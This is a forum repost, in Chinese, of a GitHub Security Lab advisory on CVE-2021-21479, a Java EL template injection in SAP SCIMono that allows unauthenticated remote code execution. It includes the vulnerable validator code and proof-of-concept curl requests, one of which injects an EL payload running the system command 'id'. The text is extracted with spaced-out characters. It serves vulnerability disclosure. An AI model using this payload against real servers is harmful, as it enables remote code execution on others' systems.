搜索

[29090] 2021-07-27_【漏洞利用】GHSL-2020-227：服务器端模板注入导致SCIMono中未经身份验证的远程代码执行-CVE-2021

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-19
2021-07-27_【漏洞利用】GHSL-2020-227：服务器端模板注入导致SCIMono中未经身份验证的远程代码执行-CVE-2021 【 漏 洞 利 用 】 G H S L - 2 0 2 0 - 2 2 7 ： 服 务 器 端 模 板 注 入 导 致   S C I M o n o   中 未 经 身 份 验 证 的 远 程 代 码 执 行   -   C V E - 2 0 2 1 O t s 安 全   2 0 2 1 - 0 7 - 2 7 点 击 上 方 蓝 字 “ O t s 安 全 ” 一 起 玩 耍 协 调 披 露 时 间 表 协 调 披 露 时 间 表 2 0 2 0 - 1 1 - 1 1 ： 问 题 报 告 给   S A P   信 任 中 心 2 0 2 1 - 0 9 - 0 2 ： 该 问 题 已 在 0 . 0 . 1 9   版 本 中 修 复 2 0 2 1 - 0 9 - 0 2 ： 公 共 咨 询 概 括 概 括 在 S C I M o n o   中 发 现 了 服 务 器 端 模 板 注 入 ， 攻 击 者 可 以 利 用 该 模 板 注 入 任 意 J a v a   E L   表 达 式 ， 从 而 导 致 未 经 身 份 验 证 的 远 程 代 码 执 行 ( R C E )   漏 洞 。 产 品 产 品 S C I M o n o 测 试 版 测 试 版 0 . 0 . 1 8 细 节 细 节 远 程 代 码 执 行 远 程 代 码 执 行   -   J a v a E L   注 入 注 入 通 过 注 入 任 意   J a v a   表 达 式 语 言   ( E L )   表 达 式 ， 可 以 在 运 行 S C I M o n o   S e r v e r   的 服 务 器 上 运 行 任 意 代 码 。 S C I M o n o   使 用   J a v a   B e a n   V a l i d a t i o n   ( J S R   3 8 0 )   自 定 义 约 束 验 证 器 ， 例 如   S c h e m a I d V a l i d a t o r .   在 构 建 自 定 义 约 束 违 反 错 误 消 息 时 ， 重 要 的 是 要 了 解 它 们 支 持 不 同 类 型 的 插 值 ， 包 括 J a v a   E L   表 达 式 。 因 此 ， 如 果 攻 击 者 可 以 在 传 递 给   的 错 误 消 息 模 板 中 注 入 任 意 数 据 C o n s t r a i n t V a l i d a t o r C o n t e x t . b u i l d C o n s t r a i n t V i o l a t i o n W i t h T e m p l a t e ( ) ， 他 们 将 能 够 运 行 任 意   J a v a   代 码 。 不 幸 的 是 ， 经 过 验 证 （ 因 此 通 常 不 受 信 任 ） 的   b e a n   属 性 通 常 会 流 入 自 定 义 错 误 消 息 。 S c h e m a I d V a l i d a t o r 和 其 他 自 定 义 约 束 验 证 器 验 证 自 定 义 约 束 错 误 验 证 消 息 中 包 含 的 攻 击 者 控 制 的 字 符 串 ： 其 中 V a l i d a t i o n U t i l . i n t e r p o l a t e E r r o r M e s s a g e ( ) 定 义 为 ： 概 念 验 证 概 念 验 证 为 了 重 现 此 漏 洞 ， 您 可 以 使 用 以 下 步 骤 ： 1 、 按 照 以 下 方 式 修 改 S C I M o n o 示 例 服 务 器 ： 1 . 1 .   添 加 o r g . g l a s s f i s h . j e r s e y . e x t : j e r s e y - b e a n - v a l i d a t i o n 依 赖 项 ， 以 便   J e r s e y   强 制 执 行   B e a n   V a l i d a t i o n   1 . 2 。 添 加 一 个 虚 拟 架 构 回 调 。 例 如 ： p u b l i c   c l a s s   S c h e m a I d V a l i d a t o r   i m p l e m e n t s   C o n s t r a i n t V a l i d a t o r < V a l i d S c h e m a I d ,   S t r i n g >   {     p r i v a t e   s t a t i c   f i n a l   P a t t e r n   S C H E M A _ N A M E _ A L L O W E D _ P A T T E R N   =   P a t t e r n . c o m p i l e ( " ( ^ [ a - z A - Z ] ) ( w ) + " ) ;     @ O v e r r i d e     p u b l i c   b o o l e a n   i s V a l i d ( S t r i n g   s c h e m a I d ,   C o n s t r a i n t V a l i d a t o r C o n t e x t   c o n t e x t )   {         r e t u r n   i s V a l i d S c h e m a I d ( s c h e m a I d ,   c o n t e x t )   & &   i s V a l i d I d e n t i f i e r N a m e ( s c h e m a I d ,   c o n t e x t ) ;     }     p r i v a t e   b o o l e a n   i s V a l i d S c h e m a I d ( f i n a l   S t r i n g   s c h e m a I d ,   C o n s t r a i n t V a l i d a t o r C o n t e x t   c o n t e x t )   {         i f   ( S c h e m a s C a l l b a c k . i s C u s t o m S c h e m a ( s c h e m a I d ) )   {             r e t u r n   t r u e ;         }         V a l i d a t i o n U t i l . i n t e r p o l a t e E r r o r M e s s a g e ( c o n t e x t ,   g e n e r a t e V i o l a t i o n M e s s a g e ( s c h e m a I d ) ) ;         r e t u r n   f a l s e ;     }     . . .     p r i v a t e   S t r i n g   g e n e r a t e V i o l a t i o n M e s s a g e ( S t r i n g   a t t r i b u t e N a m e )   {         r e t u r n   S t r i n g . f o r m a t ( " T h e   a t t r i b u t e   v a l u e   " % s "   h a s   i n v a l i d   v a l u e ! " ,   a t t r i b u t e N a m e ) ;     }     . . . }   p u b l i c   s t a t i c   v o i d   i n t e r p o l a t e E r r o r M e s s a g e ( C o n s t r a i n t V a l i d a t o r C o n t e x t   c o n t e x t ,   S t r i n g   e r r o r M e s s a g e )   {         c o n t e x t . d i s a b l e D e f a u l t C o n s t r a i n t V i o l a t i o n ( ) ;         c o n t e x t . b u i l d C o n s t r a i n t V i o l a t i o n W i t h T e m p l a t e ( e r r o r M e s s a g e ) . a d d C o n s t r a i n t V i o l a t i o n ( ) ;     } i m p o r t   c o m . s a p . s c i m o n o . c a l l b a c k . s c h e m a s . S c h e m a s C a l l b a c k ; i m p o r t   c o m . s a p . s c i m o n o . e n t i t y . s c h e m a . A t t r i b u t e ;
将 以 下 方 法 添 加 到 S i m p l e S e r v e r A p p l i c a t i o n ： 2 . 使 用 不 存 在 的   I d   强 制   S c h e m a I d   解 析 错 误 并 添 加 表 达 式 语 言 负 载 ， 例 如   $ { 1 + 1 } ： 响 应 将 包 含   E L   评 估 的 结 果 ： 您 可 以 运 行 任 意 系 统 命 令 ， 例 如 i d .   例 如 ： 这 会 让 你 ： 该 j a v a . l a n g . U N I X P r o c e s s 部 分 证 明 该 过 程 已 运 行 。 影 响 影 响 此 问 题 导 致 远 程 代 码 执 行 C V E C V E - 2 0 2 1 - 2 1 4 7 9 i m p o r t   c o m . s a p . s c i m o n o . e n t i t y . s c h e m a . A t t r i b u t e ; i m p o r t   c o m . s a p . s c i m o n o . e n t i t y . s c h e m a . S c h e m a ; i m p o r t   j a v a x . w s . r s . W e b A p p l i c a t i o n E x c e p t i o n ; i m p o r t   j a v a x . w s . r s . c o r e . R e s p o n s e ; i m p o r t   j a v a . u t i l . L i s t ; p u b l i c   c l a s s   S c h e m a s   i m p l e m e n t s   S c h e m a s C a l l b a c k   { p u b l i c   S c h e m a s ( )   {         } p u b l i c   S c h e m a   g e t C u s t o m S c h e m a ( S t r i n g   s c h e m a I d )   { r e t u r n   n u l l ;         } p u b l i c   v o i d   c r e a t e C u s t o m S c h e m a ( S c h e m a   s c h e m a )   {         } p u b l i c   L i s t < S c h e m a >   g e t C u s t o m S c h e m a s ( )   { r e t u r n   n u l l ;         } p u b l i c   v o i d   d e l e t e C u s t o m S c h e m a ( S t r i n g   s c h e m a I d )   {         } p u b l i c   b o o l e a n   i s V a l i d S c h e m a N a m e ( S t r i n g   s c h e m a N a m e )   { r e t u r n   t r u e ;         } p u b l i c   A t t r i b u t e   g e t A t t r i b u t e ( S t r i n g   p a t h )   { r e t u r n   n u l l ;         } } @ O v e r r i d e p u b l i c   S c h e m a s C a l l b a c k   g e t S c h e m a s C a l l b a c k ( )   { r e t u r n   n e w   S c h e m a s ( ) ;         } $ >   c u r l   ' h t t p : / / l o c a l h o s t : 8 0 8 0 / s c i m / S c h e m a s / $ % 7 B 1 + 1 % 7 D ' [   { " s t a t u s "   :   " 4 0 0 " , " s c h e m a s "   :   [   " u r n : i e t f : p a r a m s : s c i m : a p i : m e s s a g e s : 2 . 0 : E r r o r "   ] , " d e t a i l "   :   " T h e   a t t r i b u t e   v a l u e   " 2 "   h a s   i n v a l i d   v a l u e ! " }   ] $ >   c u r l   " h t t p : / / l o c a l h o s t : 8 0 8 0 / s c i m / S c h e m a s / $ % 7 B ' ' . c l a s s . f o r N a m e ( ' j a v a x . s c r i p t . S c r i p t E n g i n e M a n a g e r ' ) . n e w I n s t a n c e ( ) . g e t E n g i n e B y N a m e ( ' j s ' ) . e v a l ( ' j a v a . l a n g . R u n t i m e . g e t R u n t i m e ( ) . e x e c ( " i d " ) ' ) % 7 D " [   { " s t a t u s "   :   " 4 0 0 " , " s c h e m a s "   :   [   " u r n : i e t f : p a r a m s : s c i m : a p i : m e s s a g e s : 2 . 0 : E r r o r "   ] , " d e t a i l "   :   " T h e   a t t r i b u t e   v a l u e   " j a v a . l a n g . U N I X P r o c e s s @ 3 b 1 d 4 c 1 8 "   h a s   i n v a l i d   v a l u e ! " }   ]
资 源 资 源 h t t p s : / / g i t h u b . c o m / S A P / s c i m o n o / s e c u r i t y / a d v i s o r i e s / G H S A - 2 9 q 4 - g x j q - r x 5 c 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理